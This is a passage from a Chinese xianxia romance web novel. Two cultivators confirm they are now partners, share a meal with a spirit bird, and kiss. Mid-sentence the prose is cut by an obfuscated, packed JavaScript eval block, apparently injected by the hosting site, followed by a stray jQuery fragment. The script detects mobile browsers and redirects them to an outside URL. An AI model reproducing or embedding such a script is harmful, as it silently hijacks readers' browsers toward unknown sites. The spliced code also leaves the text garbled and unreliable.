薛厌争知道这话将郁观月吓得不轻,但不这样的话,按照郁观月这么轴的性子,猴年马月都不会得到他的真心话。
虽说这话是被薛厌争强制二选一逼迫出来的,但那又如何,至少现在郁观月松了口,答应同自己在一起了。
薛厌争伸出手温柔擦掉他脸上的泪,由于消耗过大,他整张脸显得格外苍白。
郁观月缩在他怀中,像一只极其没有安全感的猫,贪婪的汲取他身上的温度。
但薛厌争的气还没消,虽然成功达到了目的,但这并不代表郁观月瞒着他这件事就既往不咎。
想到这里,薛厌争觉得自己不能这么轻易原谅他,得让他感受到自己的愤怒,让他以后有事不会一个人扛着,更不会再瞒着他。
屋内温度适宜,薛厌争撑着身子起来,穿上了衣服下了床。
他赤脚踩在地板上,看着躺在床上脸色红润的郁观月,从自己衣橱里翻箱倒柜,找到了一套衣服递给了他:“把衣服穿上吧。”
薛厌争说这话时,直勾勾的盯着他,就快把生气二字写在脸上了。
薛厌争将衣服递给郁观月后便出去了,寝室里只剩下郁观月一人,他坐在床上,末了轻声笑了一下。
说实话,他也不知道自己在笑些什么,是笑命运弄人,还是得偿所愿,亦或者在笑薛厌争装生气都装的不彻底。
起初郁观月确实被他吓到了,但在刚才,他离开房间时回头的那一下,郁观月便确定薛厌争在想什么。
这声笑过后,郁观月心中便弥漫起苦味,他怎么也没想到,薛厌争会用自己的命威胁他,实属卑劣……
等郁观月穿好衣服出来的时候,并没有在外面看到薛厌争的人影。
偌大的房间只有他一人,郁观月推门出去,想看看薛厌争是否在外面待着。
薛厌争给他准备的衣服是一件白色长袍,腰间被一根红绳系上,穗子垂落在身前,衣服显得松松垮垮的,但这根红绳的存在,若隐若现的显出他纤细的腰,衣摆拖在地上,衬得他整个人腰细腿长。
但可惜的是,薛厌争并不在外面。
外面的雪已经停了,阳光照在雪上,映出细细的光亮,照的整个院子都是亮闪闪的。
郁观月一眼便看到了院子里的那几棵树,整棵树都光秃秃的,上面结的叶子和开着的花已经全部凋落被埋进雪里,随即他抬头看着院子上空明显变淡了的屏障,眼神闪了闪。
也是,薛厌争为了替他压制毒素,已将几乎全部的法力给了他,怎么还有多余的法力来维持屏障和院子里的花草树木。
只是原本漂亮的院子变得萧瑟,郁观月伸手摸上栏杆,雪冰冷的凉意穿透指尖,心中百感交集。
就在这时,耳边突然传来叽叽喳喳的叫声,转头看去,是一只胖嘟嘟的小鸟扇着翅膀落在栏杆上。
这鸟不怕人,看到郁观月歪了歪脑袋,居然还往他手边挪了挪。
看样子,竟有想跑到他手上的架势。
它长得着实可爱,见他如此大胆,郁观月便伸出手指轻轻点了点他的脑袋。
毛茸茸的,暖乎乎的。
“你是怎么进来的?”郁观月伸出一根手指,示意它可以跳上来。
虽说屏障有所减弱,但也不至于被一只小鸟闯进来。
小肥啾依言跳到他的手上,开心的扇了扇翅膀。
它不会说话,自然无法回答他的问题。
“在外站着做什么?”就在这时,一旁传来声音薛厌争的声音。
郁观转头看去,只见他站在一旁,手里还端着饭菜。
他依旧一副冷冰冰的样子,瞥了眼郁观月手上的小肥啾,转身进了屋:“别在外面站着了,进来吃饭。”
郁观月在外面站了会儿,刚打算让小肥啾飞走,未成想它居然直接飞进了屋。
薛厌争看到了它,只朝它扬了扬下巴,示意它可以站在一旁。
虽说知道薛厌争气消了些,但郁观月还是不敢贸然开口,生怕再惹到他。
他坐在凳子上,看着薛厌争将饭菜摆在他面前,但这次不只有郁观月一个人的份了,还有他自己的。
小肥啾站在一旁,歪着脑袋看着二人。
它生在昆仑,受灵气滋养,早已生了灵智。
虽说这样,但它依旧是只鸟,所以它想不通薛厌争这是什么意思。
三天前把它哄骗过来,说他这里有份轻松自在的工作,事成之后包它一辈子的吃喝。
主要就是陪一个人,让他高兴,别让他无聊。
这谁能拒绝?哄人是它最擅长的事情!
但这人刚带它回院子,便被他扔在院子里晾了三天。
太欺负鸟了!它生气了,气的想出去,但是因为有屏障它哪也去不了。
但好在在院子里漂亮的花花草草多,它也饿不着。这个院子漂亮,它喜欢这里。
但没过多久,发生了可怕的事,两天的功夫,院子里的部分花花草草突然凋落,整个院子也没先前好看了,可把它吓得不轻。
还好,今日薛厌争从屋里出来了,只是看起来苦苦的,十分伤心,仿佛风一吹就倒。
薛厌争给它道了歉。
但鸟是一只心胸宽广的鸟,没有同他计较。
薛厌争告诉它,让它在门口守着,如果有人出来就过去找他,吸引他的注意力,让他少看这个院子,他会伤心的。
鸟明白,这么好看的院子突然变成这样,鸟也伤心。
所以它拍了拍胸脯,表示一切交给它就放心吧。
正因为这样,它才不明白,明明薛厌争很在意这个漂亮美人,怎么现在还对他冷冰冰的,一句话都不说。
想到这里,小肥啾在桌子上跳来跳去,在二人之间来回折腾。
郁观月以为它也饿了,但他不知这小肥啾有什么忌口,于是看向薛厌争问他:“这小东西,是不是饿了?这些饭菜它能吃吗?”
薛厌争抬头,不知道这鸟想做什么。
他点了点桌子示意它安静然后回答了郁观月的问题:“没什么忌口,但它挑得很,一般不吃人类的饭菜。”
得到回答,郁观月轻轻“哦”了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296243|178658||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声:“那它刚刚想做什么?”
“不知道。”薛厌争看着他下意识道:“可能是看到你高兴吧。”
此话一出,郁观月愣了一下,一时间拿不准薛厌争是不是要给他台阶下。
而薛厌争也愣住了,等反应过来的时候,想拍自己这张嘴。
真是看见郁观月嘴比脑子快了。
但这次郁观月并没有和往常一样装作听不到。
他抿了抿嘴看向薛厌争:“你是怎么知道的?”
这话不带任何嘲讽,也不带任何嫌弃,郁观月语气放缓,仿佛真的对这个问题很感兴趣。
薛厌争舔了舔嘴唇,不知道怎么回答。
见他不说话,郁观月也没继续问。
他喝了口粥到嘴里,紧接着胃里传来阵阵暖意。
“这饭是你做的吗?”郁观月问。
察觉到他主动搭话靠近,薛厌争挑了挑眉,他点了点头跟他解释:“是,我这里有一个小厨房,闲来无事会弄点东西。”
“很好吃。”郁观月静默一瞬,给了他厨艺的夸赞。
他总是这样。
薛厌争看着郁观月,觉得他这幅样子可爱的很。
褪去表面上拒人于千里之外的气质,在面对他时,展现出他最柔软的一面。
薛厌争的心软的一塌糊涂。
他最先受不住了,这么长时间的冷脸,已经到达极限了。
其实他很明白郁观月瞒着他的原因,但他就是控制不住自己的情绪。明明十年前自己受伤瞒着他的时候他也很生气,为何十年后轮到他的时候,也会做出和自己当年一样的选择?
“郁观月,你不必这样想方设法的跟我说话。”薛厌争打断了他。
郁观月手指微微攥紧,不自觉咽了口唾沫。
“我只问你两件事,你只需要回答我就好。”薛厌争严肃的看向他,伸出手指:“第一件,你我之间,现在是什么关系?”
郁观月耳垂泛红,他看向薛厌争,眼中没有丝毫逃避:“是道侣。”
既然确定了关系,郁观月便将曾经的想法抛诸脑后,现在最重要的是,用自己仅剩的时间好好陪着他,让此生不留遗憾。
薛厌争勾起唇角,对郁观月这个回答很满意。
他紧接着伸出第二根手指,继续开口:“第二件,如若遇到困难,你是否还会瞒着我?”
这个问题的答案十分重要,郁观月摇了摇头:“不会了,我以后永远都不会瞒着你什么了。”
他回答的认真虔诚,薛厌争得到了答案,起身快步上前将人拥入怀中恶狠狠道:“你说到做到,否则我不会原谅你的!”
薛厌争冰冷的面具没能戴太久,得到郁观月的保证便迫不及待的靠近他。
呼吸交缠间,薛厌争抚上他的腰肢:“身上还难受吗?”
也不怪郁观月不知道进行了三天,着实是因为醒来的时候身上的不适感太轻了,他脸上通红,轻轻摇了摇头:“还好,不算难受。”
说罢,郁观月伸手环住薛厌争的脖颈,主动探身吻了上去。